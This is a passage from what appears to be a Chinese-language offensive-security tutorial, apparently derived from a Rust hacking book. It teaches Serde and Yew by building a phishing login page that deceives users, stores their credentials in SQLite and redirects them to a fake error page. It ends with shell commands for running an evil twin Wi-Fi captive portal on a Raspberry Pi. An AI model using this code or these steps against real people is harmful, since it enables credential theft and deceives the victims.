Rust 提供了 Serde 這個功能強大的序列化/反序列化框架,可以輕鬆地將資料在不同格式之間轉換,例如 JSON、XML 等。配合 Yew 這個根據 WebAssembly 的前端框架,可以更便捷地構建高效能的網頁應用。Yew 採用元件化開發模式,允許開發者將 UI 拆分成獨立的、可複用的元件,提高程式碼的可維護性和可讀性。在 Yew 中,資料透過屬性(Props)傳遞給元件,元件內部的狀態更新則透過訊息(Message)機制觸發。透過結合 Serde 和 Yew,開發者可以更有效率地處理前端資料的序列化、反序列化以及 UI 的渲染和互動邏輯。文章中的網路釣魚頁面示例,展示瞭如何使用 Yew 構建表單、處理使用者輸入、傳送 HTTP 請求等常見的前端應用場景,並結合 Serde 進行資料的序列化和反序列化,方便前後端資料交換。
9.11 Rust 中的反序列化
在學習一門新的程式語言時,最常被問到的問題之一是:如何將一個結構體(struct)編碼/解碼為 JSON?(或 XML,或 CBOR…)
在 Rust 中,這很簡單:只需使用 serde
註解你的結構體即可。
使用 Serde 實作序列化和反序列化
還記得第4章中提到的程式宏(procedural macros)嗎?Serialize
和 Deserialize
都是由 serde
套件提供的程式宏,用於簡化 Rust 型別(struct、enum 等)與任何資料格式之間的序列化和反序列化。
use serde::{Deserialize, Serialize};
#[derive(Serialize, Deserialize)]
pub struct LoginRequest {
pub email: String,
pub password: String,
}
內容解密:
serde
是一個用於 Rust 的序列化/反序列化框架,支援多種資料格式,包括 JSON、XML 等。Serialize
和Deserialize
是serde
提供的兩個程式宏,分別用於將 Rust 型別序列化為某種資料格式,以及將某種資料格式反序列化為 Rust 型別。- 在上述範例中,
LoginRequest
結構體被註解為可序列化和反序列化,這意味著它可以被轉換為 JSON 字串,或者從 JSON 字串轉換回來。
接下來,你可以使用專門的套件,如 serde_json
,來進行 JSON 的序列化和反序列化:
// 解碼
let req_data: LoginRequest = serde_json::from_str("{ ... }")?;
// 編碼
let json_response = serde_json::to_string(&req_data)?;
內容解密:
serde_json::from_str
用於將 JSON 字串反序列化為LoginRequest
結構體的例項。serde_json::to_string
用於將LoginRequest
結構體的例項序列化為 JSON 字串。
大多數情況下,你不需要自己手動進行這些操作,因為一些框架,如 HTTP 客戶端函式庫或 Web 伺服器,會為你處理這些事情。
9.12 使用 WebAssembly 的客戶端應用程式
現代的網頁應用程式,無論是使用 React、VueJS、Angular 還是 Rust,都由三種元件組成:
- 元件(Components)
- 頁面(Pages)
- 服務(Service)
元件是可重複使用的 UI 元件,例如輸入欄位或按鈕。頁面是元件的組合,對應到特定的路由(URL)。服務則是包裝底層功能或外部服務的輔助工具,例如 HTTP 客戶端或儲存服務。
圖 9.6:客戶端網頁應用程式的架構
我們的應用程式目標很簡單:它是一個入口網站,誘讓使用者輸入他們的憑證(讓他們以為這是一個合法的表單),然後將這些憑證儲存到 SQLite 資料函式庫中,最後將使用者重新導向到一個錯誤頁面,讓他們以為服務暫時不可用,稍後再試。
9.12.1 安裝工具鏈
wasm-pack
可以幫助你建立 Rust 生成的 WebAssembly 套件,並在瀏覽器或 Node.js 中使用它。
$ cargo install -f wasm-pack
9.12.2 模型
在後端和前端使用相同的語言的一個好處是能夠重複使用模型:
pub mod model {
use serde::{Deserialize, Serialize};
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub struct Login {
pub email: String,
pub password: String,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub struct LoginResponse {
pub ok: bool,
}
}
pub mod routes {
pub const LOGIN: &str = "/api/login";
}
內容解密:
- 在這個範例中,我們定義了兩個結構體:
Login
和LoginResponse
,它們都使用了serde
的Serialize
和Deserialize
程式宏,使得它們可以被序列化/反序列化。 #[serde(rename_all = "snake_case")]
屬性用於指定序列化/反序列化時欄位名稱的命名風格,這裡使用的是 snake_case 風格。
這樣,如果我們對模型進行了更改,就不需要手動在其他地方進行相同的更改,從而避免了模型不同步的問題。
9.12.3 元件
我們的應用程式由元件組成。元件是可重複使用的功能或設計單元。
為了建立我們的元件,我們使用了 yew
套件,它是目前最先進和支援度最高的 Rust 前端框架。
屬性(Properties,或 Props)可以被視為元件的引數。例如,函式 fn factorial(x: u64) -> u64
有一個引數 x
。對於元件來說,也是同樣的道理。如果我們想要用特定的資料渲染它們,我們會使用屬性。
use yew::{html, Component, ComponentLink, Html, Properties, ShouldRender};
pub struct ErrorAlert {
props: Props,
}
#[derive(Properties, Clone)]
pub struct Props {
#[prop_or_default]
pub error: Option<crate::Error>,
}
impl Component for ErrorAlert {
type Message = ();
type Properties = Props;
fn create(props: Self::Properties, _: ComponentLink<Self>) -> Self {
ErrorAlert { props }
}
// ...
}
內容解密:
- 在這個範例中,我們定義了一個名為
ErrorAlert
的元件,它具有一個屬性error
,用於顯示錯誤訊息。 yew
框架提供了Component
trait,需要實作多個方法來定義元件的行為,包括建立、更新和渲染。
另一個元件是 LoginForm
,它包裝了捕捉和儲存憑證的邏輯。
pub struct LoginForm {
link: ComponentLink<Self>,
error: Option<Error>,
email: String,
password: String,
http_client: HttpClient,
api_response_callback: Callback<Result<model::LoginResponse, Error>>,
api_task: Option<FetchTask>,
}
pub enum Msg {
Submit,
ApiResponse(Result<model::LoginResponse, Error>),
UpdateEmail(String),
UpdatePassword(String),
}
impl Component for LoginForm {
// ...
}
內容解密:
LoginForm
元件維護了多個狀態,包括 email、password 和錯誤訊息等。- 它還處理了多種訊息,如提交表單、更新 email 或 password,以及接收 API 回應等。
- 當使用者提交表單時,它會向伺服器傳送一個登入請求,並根據回應進行相應的處理。
最終,view
方法(類別似於其他框架中的 render
方法)負責渲染元件的 UI。
fn view(&self) -> Html {
let onsubmit = self.link.callback(|ev: FocusEvent| {
ev.prevent_default(); /* Prevent event propagation */
Msg::Submit
});
// ...
}
內容解密:
- 在這個方法中,我們定義了表單提交事件的處理邏輯,並防止了預設的事件傳播行為。
- 然後,我們建立了一個 HTML 表單,並將其與元件的狀態和方法繫結起來。
使用Rust與Yew構建網路釣魚頁面
在前面的章節中,我們已經瞭解瞭如何使用Rust和Yew框架構建Web應用程式。在本文中,我們將探討如何使用這些技術來建立網路釣魚頁面,並瞭解其背後的原理。
網路釣魚頁面元件
網路釣魚頁面的構建涉及多個元件的組合,包括登入表單、路由設定和HTTP請求處理等。讓我們逐步分析這些元件。
登入表單元件
首先,我們來看看登入表單的實作。這個元件負責處理使用者輸入的帳號和密碼,並將其傳送到伺服器進行驗證。
// ch_09/phishing/webapp/src/components/login_form.rs
pub struct LoginForm {
username: String,
password: String,
}
impl Component for LoginForm {
type Message = Msg;
type Properties = ();
fn create(_: Self::Properties, _: ComponentLink<Self>) -> Self {
Self {
username: String::new(),
password: String::new(),
}
}
fn update(&mut self, msg: Self::Message) -> ShouldRender {
match msg {
Msg::InputUsername(username) => self.username = username,
Msg::InputPassword(password) => self.password = password,
Msg::Submit => {
// 處理表單提交邏輯
}
}
true
}
fn view(&self) -> Html {
html! {
<form>
<div class="mb-3">
<input
class="form-control form-control-lg"
type="text"
placeholder="Username"
value=self.username.clone()
oninput=|e| Msg::InputUsername(e.value)
/>
</div>
<div class="mb-3">
<input
class="form-control form-control-lg"
type="password"
placeholder="Password"
value=self.password.clone()
oninput=|e| Msg::InputPassword(e.value)
/>
</div>
<button
class="btn btn-lg btn-primary pull-xs-right"
type="submit"
disabled=false
>
{ "Sign in" }
</button>
</form>
}
}
}
內容解密:
LoginForm
結構體:定義了包含username
和password
欄位的結構體,用於儲存使用者輸入的資料。Component
特徵實作:為LoginForm
實作Component
特徵,定義了元件的建立、更新和渲染邏輯。update
方法:處理使用者輸入和表單提交事件,更新元件狀態。view
方法:傳回元件的HTML表示,使用Yew的html!
巨集生成。
頁面元件
頁面元件是由多個較小的元件組合而成的。在我們的例子中,登入頁面包含了標題和登入表單。
// ch_09/phishing/webapp/src/pages/login.rs
pub struct Login {}
impl Component for Login {
type Message = ();
type Properties = ();
fn view(&self) -> Html {
html! {
<div>
<div class="container text-center mt-5">
<div class="row justify-content-md-center mb-5">
<div class="col col-md-8">
<h1>{ "My Awesome intranet" }</h1>
</div>
</div>
<div class="row justify-content-md-center">
<div class="col col-md-8">
<LoginForm />
</div>
</div>
</div>
</div>
}
}
}
內容解密:
Login
結構體:一個空結構體,表示登入頁面元件。Component
特徵實作:為Login
實作Component
特徵,主要定義了view
方法。view
方法:傳回頁面的HTML表示,包含了一個標題和一個LoginForm
元件。
路由設定
路由是將URL對映到特定頁面的機制。在我們的應用程式中,我們定義了一個Route
列舉來表示不同的路由。
// ch_09/phishing/webapp/src/lib.rs
#[derive(Switch, Debug, Clone)]
pub enum Route {
#[to = "*"]
Fallback,
#[to = "/error"]
Error,
#[to = "/"]
Login,
}
內容解密:
Route
列舉:定義了應用程式中的不同路由,包括Fallback、Error和Login。#[derive(Switch, Debug, Clone)]
:自動為Route
列舉派生必要的特徵,包括Switch
用於路由切換。
HTTP請求處理
為了與伺服器互動,我們需要處理HTTP請求。這涉及到構建請求、傳送請求並處理回應。
// ch_09/phishing/webapp/src/services/http_client.rs
impl HttpClient {
pub fn post<B, T>(
&mut self,
url: String,
body: B,
callback: Callback<Result<T, Error>>,
) -> FetchTask
where
for<'de> T: Deserialize<'de> + 'static + std::fmt::Debug,
B: Serialize,
{
// 構建和傳送POST請求
}
}
內容解密:
post
方法:傳送一個POST請求到指定的URL,包含一個可序列化的主體和一個回撥函式,用於處理回應。- 泛型引數:
B
代表請求主體的型別,T
代表預期的回應型別,兩者都必須實作特定的特徵。
惡意雙胞胎攻擊
瞭解瞭如何使用Rust和Yew構建網路釣魚頁面後,我們現在來討論一種稱為“惡意雙胞胎攻擊”的網路攻擊技術。這種攻擊涉及建立一個與合法Wi-Fi接入點相同的惡意接入點,以欺騙使用者連線並竊取他們的憑證。
如何實施惡意雙胞胎攻擊
實施惡意雙胞胎攻擊需要幾個步驟,包括設定惡意接入點、組態DNS和HTTP伺服器等。下面是一個簡化的步驟。
- 安裝必要的依賴:在Raspberry Pi上安裝必要的軟體包,如
hostapd
、dnsmasq
等。 - 組態惡意接入點:使用
hostapd
組態Raspberry Pi的無線網路卡為一個接入點,模擬合法的Wi-Fi網路。 - 啟動網路釣魚門戶:執行一個捕捉門戶,用於捕捉使用者的登入憑證。
$ sudo apt install -y macchanger hostapd dnsmasq sqlite3 libssl-dev
$ git clone https://github.com/skerkour/black-hat-rust.git && cd black-hat-rust/ch_09/evil_twin
$ make -C ../phishing/ rpi && cp -r ../phishing/dist/* .
$ sudo ./server -p 80 &
$ sudo ./evil_twin.sh
內容解密:
- 安裝依賴:安裝必要的軟體包以支援惡意雙胞胎攻擊。
- 組態惡意接入點:使用
hostapd
和特定的組態檔案,將Raspberry Pi設定為惡意接入點。 - 啟動網路釣魚門戶:執行捕捉門戶,以捕捉使用者的登入憑證。